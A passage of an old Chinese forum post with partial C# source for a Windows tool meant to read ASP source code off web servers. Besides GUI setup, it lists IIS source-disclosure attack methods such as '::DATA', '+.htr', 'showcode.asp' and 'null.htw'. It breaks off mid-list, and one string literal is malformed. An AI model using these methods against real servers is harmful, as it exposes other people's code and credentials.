一个用c#写的扫描asp源码漏洞的应用程序

这儿就是昨天说的那个程序主要部分的源代码，如果要全部代码请到我的主页去下载。
贴不开，分两次。

//--------------------------------------------------------------------------
//
// file name : form1.cs
//
// description : 主form
//
// date: 2001/1/3
//
// author : [e-mail]
// https://bigeagle.yeah.net
//
// history : 2000/1/3 version 0.9
//
// ToDo: translate:f 方法似乎有问题，等得到有关http协议的资料在修改
//
//-------------------------------------------------------------------------

namespace findbug
{
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.WinForms;
using System.Data;
using System.Net ;
using System.IO ;
using System.Text ;
using System.Net.Sockets ;

/// <summary>
/// Summary description for Form1.
/// </summary>
public class Form1 : System.WinForms.Form
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.Container components;
private System.WinForms.StatusBar barStatus;
private System.WinForms.Button btnClear;
private System.WinForms.TextBox txtResult;
private System.WinForms.Button btnGo;
private System.WinForms.Label label3;
private System.WinForms.ComboBox cboMethod;
private System.WinForms.TextBox txtFileName;
private System.WinForms.Label label2;
private System.WinForms.TextBox txtServer;
private System.WinForms.Label label1;
private System.WinForms.MenuItem mnuExit;
private System.WinForms.MenuItem menuItem1;
private System.WinForms.MenuItem mnuNew;
private System.WinForms.MenuItem mnuAbount;
private System.WinForms.MenuItem mnuHelp;
private System.WinForms.MenuItem mnuSave;
private System.WinForms.MenuItem mnuFile;
private System.WinForms.MainMenu mainMenu1;

public Form1()
{
//
// Required for Windows Form Designer support
//
InitializeComponent();

//初始化窗口
InitForm() ;

}

public override void Dispose()
{
base.Dispose();
components.Dispose();
}

//初始化控件
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container ();
this.mnuSave = new System.WinForms.MenuItem ();
this.mnuNew = new System.WinForms.MenuItem ();
this.cboMethod = new System.WinForms.ComboBox ();
this.btnGo = new System.WinForms.Button ();
this.menuItem1 = new System.WinForms.MenuItem ();
this.mnuFile = new System.WinForms.MenuItem ();
this.txtServer = new System.WinForms.TextBox ();
this.mnuHelp = new System.WinForms.MenuItem ();
this.btnClear = new System.WinForms.Button ();
this.label2 = new System.WinForms.Label ();
this.label1 = new System.WinForms.Label ();
this.mnuAbount = new System.WinForms.MenuItem ();
this.barStatus = new System.WinForms.StatusBar ();
this.mainMenu1 = new System.WinForms.MainMenu ();
this.mnuExit = new System.WinForms.MenuItem ();
this.txtResult = new System.WinForms.TextBox ();
this.label3 = new System.WinForms.Label ();
this.txtFileName = new System.WinForms.TextBox ();
mnuSave.Text = "保存";
mnuSave.Shortcut = System.WinForms.Shortcut.CtrlS;
mnuSave.Index = 1;
mnuNew.Text = "新建";
mnuNew.Shortcut = System.WinForms.Shortcut.F2;
mnuNew.Index = 0;
mnuNew.Click += new System.EventHandler (this.mnuNew_Click);
cboMethod.Location = new System.Drawing.Point (96, 56);
cboMethod.Size = new System.Drawing.Size (121, 20);
cboMethod.TabIndex = 4;
btnGo.Location = new System.Drawing.Point (296, 56);
btnGo.Size = new System.Drawing.Size (75, 23);
btnGo.TabIndex = 6;
btnGo.Text = "让我看";
btnGo.Click += new System.EventHandler (this.btnGo_Click);
menuItem1.Text = "-";
menuItem1.Index = 2;
mnuFile.Text = "文件(&F)";
mnuFile.Index = 0;
mnuFile.MenuItems.All = new System.WinForms.MenuItem[4] {this.mnuNew, this.mnuSave, this.menuItem1, this.mnuExit};
txtServer.Location = new System.Drawing.Point (96, 16);
txtServer.Text = "https://";
txtServer.TabIndex = 1;
txtServer.Size = new System.Drawing.Size (100, 21);
mnuHelp.Text = "帮助(&H)";
mnuHelp.Index = 1;
mnuHelp.MenuItems.All = new System.WinForms.MenuItem[1] {this.mnuAbount};
btnClear.Location = new System.Drawing.Point (408, 56);
btnClear.Size = new System.Drawing.Size (75, 23);
btnClear.TabIndex = 8;
btnClear.Text = "清空";
btnClear.Click += new System.EventHandler (this.btnClear_Click);
label2.Location = new System.Drawing.Point (224, 16);
label2.Text = "文件名：";
label2.Size = new System.Drawing.Size (72, 16);
label2.Font = new System.Drawing.Font ("宋体", 12);
label2.TabIndex = 2;
label1.Location = new System.Drawing.Point (24, 21);
label1.Text = "主机名：";
label1.Size = new System.Drawing.Size (72, 16);
label1.Font = new System.Drawing.Font ("宋体", 12);
label1.TabIndex = 0;
mnuAbount.Text = "关于";
mnuAbount.Shortcut = System.WinForms.Shortcut.CtrlA;
mnuAbount.Index = 0;
mnuAbount.Click += new System.EventHandler (this.mnuAbount_Click);
barStatus.BackColor = System.Drawing.SystemColors.Control;
barStatus.Location = new System.Drawing.Point (0, 423);
barStatus.Size = new System.Drawing.Size (568, 18);
barStatus.TabIndex = 9;
barStatus.Text = "就绪";
mainMenu1.MenuItems.All = new System.WinForms.MenuItem[2] {this.mnuFile, this.mnuHelp};
mnuExit.Text = "退出(&X)";
mnuExit.Shortcut = System.WinForms.Shortcut.AltF4;
mnuExit.Index = 3;
mnuExit.Click += new System.EventHandler (this.mnuExit_Click);
txtResult.Location = new System.Drawing.Point (16, 96);
txtResult.Multiline = true;
txtResult.ScrollBars = System.WinForms.ScrollBars.Both;
txtResult.TabIndex = 7;
txtResult.Size = new System.Drawing.Size (536, 312);
txtResult.Visible = false;
label3.Location = new System.Drawing.Point (32, 56);
label3.Text = "使用";
label3.Size = new System.Drawing.Size (56, 16);
label3.Font = new System.Drawing.Font ("宋体", 12);
label3.TabIndex = 5;
txtFileName.Location = new System.Drawing.Point (304, 16);
txtFileName.TabIndex = 3;
txtFileName.Size = new System.Drawing.Size (232, 21);
this.Text = "ViewASPCode";
this.StartPosition = System.WinForms.FormStartPosition.CenterScreen;
this.AutoScaleBaseSize = new System.Drawing.Size (6, 14);
this.Menu = this.mainMenu1;
this.ClientSize = new System.Drawing.Size (568, 441);
this.Controls.Add (this.barStatus);
this.Controls.Add (this.btnClear);
this.Controls.Add (this.txtResult);
this.Controls.Add (this.btnGo);
this.Controls.Add (this.label3);
this.Controls.Add (this.cboMethod);
this.Controls.Add (this.txtFileName);
this.Controls.Add (this.label2);
this.Controls.Add (this.txtServer);
this.Controls.Add (this.label1);
}

//菜单项about点击，显示about对话框
protected void mnuAbount_Click (object sender, System.EventArgs e)
{
about objAbout = new about() ;
objAbout.ShowDialog(this) ;
objAbout.Dispose() ;
}

//初始化窗口
private void InitForm()
{
this.cboMethod.Items.Add("直接读取") ;
this.cboMethod.Items.Add(".") ;
this.cboMethod.Items.Add("%81") ;
this.cboMethod.Items.Add("::DATA") ;
this.cboMethod.Items.Add("%2e") ;
this.cboMethod.Items.Add("%2e%41sp") ;
this.cboMethod.Items.Add("+.htr") ;
this.cboMethod.Items.Add("\") ;
this.cboMethod.Items.Add("longhtr") ;
this.cboMethod.Items.Add(".bak") ;
this.cboMethod.Items.Add("codebrws.asp") ;
this.cboMethod.Items.Add("showcode.asp") ;
this.cboMethod.Items.Add("null.htw") ;
this.cboMethod.Items.Add("qfullhit.htw") ;
this.cboMethod.Items.Add("qsumrhit.htw") ;
this.cboMethod.Items.Add("query.idq") ;
this.cboMethod.Items.Add("search/qfullhit.htw") ;
this.cboMethod.Items.Add("search/qsu